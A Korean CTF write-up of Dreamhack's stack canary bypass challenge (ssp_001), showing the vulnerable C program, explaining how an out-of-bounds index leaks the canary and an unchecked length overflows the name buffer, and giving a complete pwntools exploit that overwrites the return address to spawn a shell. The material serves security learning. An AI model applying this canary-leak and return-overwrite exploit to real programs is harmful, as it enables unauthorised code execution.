드림핵의 문제 중 Stack Canary Bypass 를 실습해 보았다.
문제의 코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh"); //#0. 쉘을 실행하는 부분
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx); //#1. canary가 노출되는 부분
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len); //#2. payload를 입력하는 부분
return 0;
default:
break;
}
}
}
2. Exploit
위 코드에서 주석으로 표시한 부분이 취약한 부분이다.
#0을 보면 쉘을 실행하는 부분을 확인할 수 있다. 이 함수의 주소를 확인하여 main에 ret에 덮으면 쉘이 실행될 수 있다.
#1을 보면, print_box는 앞서 입력한 Element index의 값에 위치한 인덱스를 보여주는 부분이다. 이 기능을 통해 원하는 스택의 값을 확인할 수 있다.
#2를 보면 입력한 name의 길이만큼 해당 name을 읽는 부분이 있다. 이 기능을 통해 payload를 입력해서 ret에 원하는 주소를 덮어쓸 수 있다.
먼저 #0의 함수의 주소를 gdb를 이용해서 확인한다.
#1의 취약점을 이용해서 Canary 를 구해준다.
이해를 위해 main()을 그림으로 표현하면 다음과 같다.
이때 131에서 역순으로 4바이트를 확인해주는데, 그 이유는 해당 프로그램이 32bit little-endian을 사용하기 때문이다.
#!/usr/bin/env python
from pwn import *
# process connect
#p = process('./ssp_001')
p = remote("host3.dreamhack.games",19152)
# get_shell() adress by gdb
get_shell = 0x80486b9
# get canary value
canary = b'0x'
for i in range(4): # 32 bit
p.sendafter(b'> ', 'P')
p.recvuntil(b'Element index : ')
p.sendline(str(131 - i))
p.recvuntil(b'is : ')
canary += p.recvn(2)
print("canary in stack : "+canary)
canary = int(canary, 16)
print("canary hex value : "+str(canary))
canary32 = p32(canary) #packing 32bit arch
#print("canary 32bit liite endian : "+str(canary32))
#payload write
payload = b'A'*64 #name buffer
payload += canary32 #canary
payload += b'B'*8 # sfp + dummy value
payload += p32(get_shell) #return address
#payload send
p.sendafter(b'> ','E')
p.sendlineafter(b'Name Size : ','80') #payload size = 80
p.recvuntil(b'Name : ')
p.sendline(payload)
p.interactive()
주의할점은 canary와 sfp 사이에 4-bytes의 더미가 있다는것이다.
여기에 유의해서 payload 길이를 맞추어 ret 값을 미리 알아낸 값으로 덮어써주면 flag가 나온다